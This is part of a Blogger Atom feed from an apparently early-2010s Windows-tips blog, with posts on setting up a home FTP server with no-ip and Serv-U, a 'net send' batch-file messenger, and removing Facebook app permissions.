src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-7693519013812598640</id><published>2013-01-14T15:37:00.001+05:30</published><updated>2013-01-14T15:37:33.007+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>Create An Ftp Server On Your PC</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;Process-1:&lt;/b&gt;&lt;br /&gt;First of all u have to get an static IP-Address.&lt;br /&gt;Need a a static ip-address foryo ur FTP Server.Necessity for getting this static ip-address is your not suppose to use ur own IP-Address.The main reason is u dont want to show ur IP-Address to everyone , there are many other reasons too but leave them aside..&lt;br /&gt;&lt;br /&gt;1) Goto no-ip &amp;amp; create yourself a free account.&lt;br /&gt;&lt;br /&gt;2) Now your account been created &amp;amp; ll receive your account password via mail to your email address.&lt;br /&gt;&lt;br /&gt;3) After getting your password login to your account of no-ip.com&lt;br /&gt;4.After getting logged in, click upon add a HOST its on the left menu.&lt;br /&gt;&lt;br /&gt;5) Type any hostname you want (eg:-abc) &amp;amp; select any domain from da given list (eg:-ftpserve.com) Click on Submit.&lt;br /&gt;&lt;br /&gt;6) Now u have owned ur own static address (example: abc.serveftp.com)&lt;br /&gt;&lt;br /&gt;7) Now click downloads button which is present above on the page &amp;amp; click on which operating system your using &amp;amp; den download DNS update client or u can download it from here directly, this is for microsoft window users..&lt;br /&gt;&lt;br /&gt;8) After getting downloaded, u have to install this software &amp;amp; login here with your email address &amp;amp; p/w wen asked for it.&lt;br /&gt;&lt;br /&gt;9) At last tick on the check box present at the static address.&lt;br /&gt;&lt;br /&gt;10) U have your own static web address.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Process-2:&lt;/b&gt;&lt;br /&gt;Installation &amp;amp; setting of the FTP-Server&lt;br /&gt;&lt;br /&gt;1) You have to install Serv-U 4.1.03 , download this software from here&lt;br /&gt;&lt;br /&gt;2) Run Serv-U &amp;amp; use the wizard to setup your FTP.&lt;br /&gt;&lt;br /&gt;3) Click on next until u have been asked for IP-Address, leave it as it is &amp;amp; click upon next.&lt;br /&gt;&lt;br /&gt;4) Enter ur domain name u have registered (example: abc.serveftp.com) it above in the domain field &amp;amp; click upon next.&lt;br /&gt;&lt;br /&gt;5) U ll be asked for anonymous access, select No &amp;amp; click upon next.&lt;br /&gt;&lt;br /&gt;6) Next u ll be asked for creating a named account, select yes &amp;amp; click upon next.&lt;br /&gt;&lt;br /&gt;7) Choose any user name u wish (eg:-xyz) &amp;amp; click upon next.&lt;br /&gt;&lt;br /&gt;8) Enter password for dis account (eg:-adc341) for security purpose choose difficult password.&lt;br /&gt;&lt;br /&gt;9) U ll be asked for the home directory for the account which u have created above.Select directory &amp;amp; click upon next.&lt;br /&gt;&lt;br /&gt;10) Click on yes for locking dis account to the home directory, doing dis the user cannot further move up into home directory, click upon next.&lt;br /&gt;&lt;br /&gt;11) At last ur account has been created click finish.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Process-3:&lt;br /&gt;Configuring the user accounts which u have been created.&lt;br /&gt;&lt;br /&gt;1) On the left tree-menu, select the account which u have been created above &amp;amp; den click upon General Tab.&lt;br /&gt;&lt;br /&gt;2) Goto Hide &#39;Hidden&#39; Files.&lt;br /&gt;&lt;br /&gt;3) Check Allow only and enter the number one in the box.&lt;br /&gt;&lt;br /&gt;4) Set da maximum downloading speed up-to what extent u want.As this is an account so many ll be using so set it low(eg:-10-20) to save ur bandwidth.Don&#39;t leave it blank as users can download with full bandwidth.&lt;br /&gt;&lt;br /&gt;5) choose how many users u want to login at on time.It depends on ur connection speed try these (56 - 1, ISDN - 3, ADSL or cable - 5-6 users.)&lt;br /&gt;&lt;br /&gt;6) Click upon Dir Access Tab.&lt;br /&gt;&lt;br /&gt;7) Now u can c home folder here.Highlight it &amp;amp; make your permission.&lt;br /&gt;&lt;br /&gt;8) If u want only users to download check only these Read,List &amp;amp; Inherit.&lt;br /&gt;&lt;br /&gt;9) If u want your users to upload into your server &amp;amp; but to only 1 particular folder but not to download, click upon that add button &amp;amp; then select that folder, Now u have to highlight that folder &amp;amp; set these permissions on that folder.Check,Write, Append ,List,Create &amp;amp; Inherit after setting these permissions click on the arrow which is present at the bottom right-hand corner.U want dis upload folder 2 be list first, before the home folder.&lt;br /&gt;&lt;br /&gt;10) If their is any folder which u don&#39;t want anyone to access it, &amp;amp; it is present in the home folder, den click the add button &amp;amp; den select the folder.Now u have to highlight that folder &amp;amp; see that no all the check boxes are left.After doing this click upon upper arrow which is present at bottom right hand corner.&lt;br /&gt;&lt;br /&gt;11) There are many things u can do, These are only the basics....&lt;br /&gt;&lt;br /&gt;12) Your server is now ready to be connected..&lt;br /&gt;&lt;br /&gt;13) Login with your username &amp;amp; password.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/7693519013812598640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/01/create-ftp-server-on-your-pc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/7693519013812598640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/7693519013812598640'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/01/create-ftp-server-on-your-pc.html' title='Create An Ftp Server On Your PC'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-6334893382851772574</id><published>2013-01-14T15:30:00.003+05:30</published><updated>2013-01-14T15:30:45.682+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>Chat with Friends through ms dos Command Prompt</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
1) All you need is your friend&#39;s IP Address and your Command Prompt.&lt;br /&gt;&lt;br /&gt;2) Open Notepad and write this code as it is.....!&lt;br /&gt;&lt;br /&gt;@echo off&lt;br /&gt;:A&lt;br /&gt;Cls&lt;br /&gt;echo MESSENGER&lt;br /&gt;set /p n=User:&lt;br /&gt;set /p m=Message:&lt;br /&gt;net send %n% %m%&lt;br /&gt;Pause&lt;br /&gt;Goto A&lt;br /&gt;&lt;br /&gt;3) Now save this as &quot;Messenger.Bat&quot;.&lt;br /&gt;&lt;br /&gt;4) Open Command Prompt.&lt;br /&gt;&lt;br /&gt;5) Drag this file (.bat file) over to Command Prompt and press Enter.&lt;br /&gt;&lt;br /&gt;6) You would then see something like this:&lt;br /&gt;&lt;br /&gt;7) Now, type the IP Address of the computer you want to contact and press enter&lt;br /&gt;You will see something like this:&lt;br /&gt;&lt;br /&gt;8) Now all you need to do is type your message and press Enter.&lt;br /&gt;Start Chatting.......! &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/6334893382851772574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/01/chat-with-friends-through-ms-dos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/6334893382851772574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/6334893382851772574'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/01/chat-with-friends-through-ms-dos.html' title='Chat with Friends through ms dos Command Prompt'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-6439765873449613640</id><published>2012-12-03T16:29:00.003+05:30</published><updated>2012-12-03T16:35:17.802+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>How to clean your Facebook Apps</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;img alt=&quot;facebook-logo&quot; height=&quot;101&quot; src=&quot;http://www.my-guides.net/en/images/stories/logos/facebook-logo.jpg&quot; style=&quot;border: 0px; color: #666666; float: left; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin: 0px 5px 5px 0px; outline: 0px; padding: 0px;&quot; width=&quot;100&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #666666; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin-bottom: 15px; outline: 0px; padding: 0px;&quot;&gt;
While you are using Facebook many Apps are asking to access your account in order to use them. It&#39;s always a good idea to clean Applications that you no longer use or those which you don&#39;t want to have access in your profile&#39;s photos, messages, friends etc. So go to your&amp;nbsp;&lt;a href=&quot;https://www.facebook.com/settings/?tab=applications&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; color: #004e63; font-size: 12px; margin: 0px; outline: none; padding: 0px; text-decoration: initial;&quot; target=&quot;_blank&quot;&gt;Facebook Application Settings&lt;/a&gt;.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #666666; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin-bottom: 15px; outline: 0px; padding: 0px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #666666; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin-bottom: 15px; outline: 0px; padding: 0px;&quot;&gt;
&amp;nbsp;Here you will find a list with all the Apps that have access in your account.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #666666; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin-bottom: 15px; outline: 0px; padding: 0px;&quot;&gt;
&lt;a href=&quot;http://www.my-guides.net/en/images/stories/facebook/facebook_app_settings_1.jpg&quot; rel=&quot;rokbox[800 587](facebook)&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; color: #004e63; font-size: 12px; margin: 0px; outline: none; padding: 0px; text-decoration: initial;&quot; title=&quot;Facebook App Settings&quot;&gt;&lt;img alt=&quot;Facebook App Settings&quot; class=&quot;album&quot; src=&quot;http://www.my-guides.net/en/images/stories/facebook/facebook_app_settings_1-sm.jpg&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; font-size: 12px; margin: 0px; outline: 0px; padding: 0px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #666666; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin-bottom: 15px; outline: 0px; padding: 0px;&quot;&gt;
If you click on an App you can see exactly where this App has access to and when it last accessed your account.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #666666; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin-bottom: 15px; outline: 0px; padding: 0px;&quot;&gt;
&lt;a href=&quot;http://www.my-guides.net/en/images/stories/facebook/facebook_app_settings_2.jpg&quot; rel=&quot;rokbox[800 587](facebook)&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; color: #004e63; font-size: 12px; margin: 0px; outline: none; padding: 0px; text-decoration: initial;&quot; title=&quot;Facebook App Settings&quot;&gt;&lt;img alt=&quot;Facebook App Settings&quot; class=&quot;album&quot; src=&quot;http://www.my-guides.net/en/images/stories/facebook/facebook_app_settings_2-sm.jpg&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; font-size: 12px; margin: 0px; outline: 0px; padding: 0px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #666666; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin-bottom: 15px; outline: 0px; padding: 0px;&quot;&gt;
To remove an Application you no longer need simply press the X button and confirm.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #666666; font-family: Helvetica, Arial, FreeSans, sans-serif; font-size: 12px; line-height: 20.383333206176758px; margin-bottom: 15px; outline: 0px; padding: 0px;&quot;&gt;
&lt;a href=&quot;http://www.my-guides.net/en/images/stories/facebook/facebook_app_settings_3.jpg&quot; rel=&quot;rokbox[800 587](facebook)&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; color: #004e63; font-size: 12px; margin: 0px; outline: none; padding: 0px; text-decoration: initial;&quot; title=&quot;Facebook App Settings&quot;&gt;&lt;img alt=&quot;Facebook App Settings&quot; class=&quot;album&quot; src=&quot;http://www.my-guides.net/en/images/stories/facebook/facebook_app_settings_3-sm.jpg&quot; style=&quot;background-color: transparent; background-position: initial initial; background-repeat: initial initial; border: 0px; font-size: 12px; margin: 0px; outline: 0px; padding: 0px;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/6439765873449613640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2012/12/how-to-clean-your-facebook-apps_3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/6439765873449613640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/6439765873449613640'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2012/12/how-to-clean-your-facebook-apps_3.html' title='How to clean your Facebook Apps'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry></feed>